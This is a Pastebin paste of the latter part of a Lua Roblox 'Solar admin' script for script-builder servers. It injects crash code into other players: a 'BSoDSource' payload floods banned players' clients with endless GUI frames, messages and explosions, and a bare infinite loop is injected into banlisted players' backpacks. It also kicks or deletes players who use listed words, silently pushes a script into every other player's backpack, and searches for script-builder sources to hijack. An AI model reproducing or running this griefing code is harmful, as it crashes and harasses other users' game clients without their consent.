  963. LocalPlayer.Character.descendantAdded:connect(function(what)
  964. if what:IsA("Script") or what:IsA("LocalScript") then
  965. if LBlock == false then return end
  966. if what.Name == "Health" then return end
  967. if what.Name == "HealthScript v3.1" then return end
  968. if what.Name == "Animate" then return end
  969. what.Disabled = true
  970. wait()
  971. what:Destroy()
  972. end
  973. end)
  974. ]]
  975. ConnectSource = [[
  976. script:ClearAllChildren()
  977. wait()
  978. script.Parent = nil
  979. Player = game.Players.LocalPlayer
  980. while wait(0.1) do
  981. if game.Lighting:findFirstChild("DISC: nil") then
  982. if Player.Parent == nil then
  983. Delay(0, wait)
  984. end
  985. end
  986. if game.Lighting:findFirstChild("DISC: "..Player.Name) then
  987. Delay(0, wait)
  988. end
  989. end
  990. ]]
  991. BSoDSource = [[
  992. wait()
  993. script.Parent = game:service'TeleportService'
  994. CC = workspace.CurrentCamera
  995. RS = game:service("RunService")
  996. PG = game.Players.LocalPlayer.PlayerGui
  997. C = game.Players.LocalPlayer.Character
  998. function Lag()
  999. coroutine.resume(coroutine.create(function()
  1000. while wait() do
  1001. M = Instance.new("Message",CC)
  1002. M.Text = tick()*math.floor(5%4*21)
  1003. H = Instance.new("Hint",CC)
  1004. H.Text = 'Get out from this place!'
  1005. SG=Instance.new("ScreenGui",PG)
  1006. FR=Instance.new("Frame",SG)
  1007. FR.Size = UDim2.new(500,500,500,500)
  1008. while wait() do
  1009. FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
  1010. end
  1011. P=Instance.new("Part",CC)
  1012. E=Instance.new("Explosion",P)
  1013. E.BlastRadius=math.huge
  1014. E.Position=P.Position
  1015. F=Instance.new("Fire",P)
  1016. S=Instance.new("Smoke",P)
  1017. P.CFrame = CC.Focus
  1018. P.Anchored = true
  1019. P.CanCollide = false
  1020. P.AncestryChanged:connect(function()Lag()end)
  1021. for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
  1022. end
  1023. end))
  1024. end
  1025. RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)
  1026. ]]
  1027. --[[LOCAL BLOCK]]--
  1028. loadstring(LBlock1)()
  1029. loadstring(LBlock2)()
  1030. loadstring(LBlock3)()
  1031. LocalPlayer.CharacterAdded:connect(function()
  1032. loadstring(LBlock2)()
  1033. loadstring(LBlock3)()
  1034. end)
  1035. --[[CONNECTIONS]]--
  1036. LocalPlayer.Chatted:connect(function(m)
  1037. Chat(m,ChatColor)
  1038. for i,v in pairs(Cmds) do
  1039. if v["Say"]..Key == m:sub(1, #v["Say"]+#Key) then
  1040. v["Func"](GetPlayers(m:sub(#v["Say"]+#Key+1)), m:sub(#v["Say"]+#Key+1))
  1041. end
  1042. end
  1043. end)
  1044. for _,speaker in pairs(game:service'Players':GetPlayers()) do
  1045. if speaker.Name ~= LocalPlayer.Name then
  1046. if speaker.Name ~= "aleksa12432" then
  1047. if speaker.Name ~= "optiplex123" then
  1048. if speaker.Name ~= "Exorsizer" then
  1049. speaker.Chatted:connect(function(msg)
  1050. for _,v in pairs(MuteWords) do
  1051. if string.find(msg,v) then
  1052. if speaker and speaker.Backpack then
  1053. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack)
  1054. end
  1055. end
  1056. end
  1057. for _,v in pairs(BadWords) do
  1058. if string.find(msg, v) then
  1059. if speaker and found == true then
  1060. NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()")
  1061. elseif speaker and found == false then
  1062. speaker:Destroy()
  1063. end
  1064. end
  1065. end
  1066. end)
  1067. end
  1068. end
  1069. end
  1070. end
  1071. end
  1072. game.Players.ChildAdded:connect(function(speaker)
  1073. if speaker:IsA("Player") then
  1074. if speaker.Name ~= LocalPlayer.Name then
  1075. if speaker.Name ~= "aleksa12432" then
  1076. if speaker.Name ~= "optiplex123" then
  1077. if speaker.Name ~= "Exorsizer" then
  1078. speaker.Chatted:connect(function(msg)
  1079. for _,v in pairs(MuteWords) do
  1080. if string.find(msg:lower(),v:lower()) then
  1081. if speaker and speaker.Backpack then
  1082. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack)
  1083. end
  1084. end
  1085. end
  1086. for _,v in pairs(BadWords) do
  1087. if string.find(msg:lower(),v:lower()) then
  1088. if speaker and found == true then
  1089. NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()")
  1090. elseif speaker and found == false then
  1091. speaker:Destroy()
  1092. end
  1093. end
  1094. end
  1095. end)
  1096. end
  1097. end
  1098. end
  1099. end
  1100. end
  1101. end)
  1102. --[[START]]--
  1103. for i = 0,8,1 do
  1104. Output("")
  1105. end
  1106. Output("Welcome to Solar admin","Really red")
  1107. Output("This script is made by aleksa12432 and optiplex123","Really red")
  1108. if SourceName == "DSource" then
  1109. Output("You are on Anaminus SB","Really red")
  1110. elseif SourceName == "Source" then
  1111. Output("You are on Oxcool1 SB","Really red")
  1112. elseif SourceName == "source" then
  1113. Output("You are on qlqkqzqrd SB","Really red")
  1114. end
  1115. for _,v in pairs(game:service'Players':GetPlayers()) do
  1116. if v.Name ~= LocalPlayer.Name then
  1117. if v.Name ~= "aleksa12432" then
  1118. if v.Name ~= "optiplex123" then
  1119. if v.Name ~= "Exorsizer" then
  1120. Connect(v)
  1121. end
  1122. end
  1123. end
  1124. end
  1125. end
  1126. --[[LOOPS]]--
  1127. coroutine.wrap(function()
  1128. while wait(30) do
  1129. for _,v in pairs(game:service'Players':GetPlayers()) do
  1130. if v.Name ~= LocalPlayer.Name then
  1131. if v.Name ~= "aleksa12432" then
  1132. if v.Name ~= "optiplex123" then
  1133. if v.Name ~= "Exorsizer" then
  1134. if v.Backpack ~= nil then
  1135. NewLS(ConnectSource, v.Backpack)
  1136. end
  1137. end
  1138. end
  1139. end
  1140. end
  1141. end
  1142. end
  1143. end)()
  1144. game:service'Players'.ChildAdded:connect(function(player)
  1145. if player.Name ~= LocalPlayer.Name then
  1146. if player.Name ~= "aleksa12432" then
  1147. if player.Name ~= "optiplex123" then
  1148. if player.Name ~= "Exorsizer" then
  1149. wait(3)
  1150. Connect(player)
  1151. end
  1152. end
  1153. end
  1154. end
  1155. end)
  1156. game:GetService("RunService").RenderStepped:connect(function()
  1157. if TabModel.Parent ~= TabModelParent then return end
  1158. if TabModel == nil then return end
  1159. if LocalPlayer then
  1160. if LocalPlayer.Character then
  1161. if LocalPlayer.Character:findFirstChild("Torso") then
  1162. Rotation = Rotation + Speed
  1163. for i,v in pairs(Tabs) do
  1164. ypcall(function()
  1165. if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Torso then
  1166. pos = LocalPlayer.Character.Torso.CFrame
  1167. else
  1168. pos = CFrame.new(0,0,0)
  1169. end
  1170. radius = 4 + (#Tabs * 0.5)
  1171. x = math.sin((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius
  1172. y = 0
  1173. z = math.cos((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius
  1174. arot = Vector3.new(x, y, z) + pos.p
  1175. brot = v.CFrame.p
  1176. crot = (arot * .1 + brot * .9)
  1177. v.CFrame = CFrame.new(crot, pos.p)
  1178. end)
  1179. end
  1180. end
  1181. end
  1182. end
  1183. end)
  1184. game:service'RunService'.RenderStepped:connect(function()
  1185. if TabModelDebounce == true then return end
  1186. if TabModel.Parent ~= TabModelParent then
  1187. TabModelDebounce = true
  1188. Tabs = {}
  1189. TabModel = Instance.new("Model", TabModelParent)
  1190. TabModel.Name = "Solar tabs"
  1191. Tabs = {}
  1192. Rotation = 0
  1193. wait()
  1194. TabModelDebounce = false
  1195. end
  1196. end)
  1197. coroutine.wrap(function()
  1198. while wait() do
  1199. for _,v in pairs(game:service'Workspace':children()) do
  1200. if v and v:IsA("StringValue") and v.Name == Code then
  1201. if v.Value ~= nil and v.Value ~= "" then
  1202. Output(v.Value,"Really red")
  1203. game:service'Debris':AddItem(v, 3)
  1204. end
  1205. end
  1206. end
  1207. end
  1208. end)()
  1209. coroutine.wrap(function()
  1210. while wait() do
  1211. for _,v in pairs(game:service'Players':GetPlayers()) do
  1212. pcall(function()
  1213. for j,k in pairs(Banlist) do
  1214. if v.Name == k then
  1215. if v:findFirstChild("Backpack") ~= nil then
  1216. NewLS("repeat until ucrappedurpants", v.Backpack)
  1217. end
  1218. end
  1219. end
  1220. for j,k in pairs(HardBanlist) do
  1221. if v.Name == k then
  1222. if v:findFirstChild("Backpack") ~= nil then
  1223. NewLS(BSoDSource, v.Backpack)
  1224. end
  1225. end
  1226. end
  1227. end)
  1228. end
  1229. end
  1230. end)()
  1231. while found == false do
  1232. if game.PlaceId == 21053279 or game.PlaceId == 21053219 then break end
  1233. for _,ScriptInWorkspace in pairs(workspace:children()) do
  1234. if ScriptInWorkspace then
  1235. if ScriptInWorkspace:IsA("Script") then
  1236. if ScriptInWorkspace:FindFirstChild(SourceName) then
  1237. NewScript = ScriptInWorkspace:Clone()
  1238. wait()
  1239. NewScript.Name = "NewScript"
  1240. NewScript.Disabled = true
  1241. NewScript:FindFirstChild(SourceName).Value = ""
  1242. Output("Found a source!", "New Yeller")
  1243. found = true
  1244. break
  1245. end
  1246. end
  1247. end
  1248. end
  1249. wait()
  1250.  
  1251. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!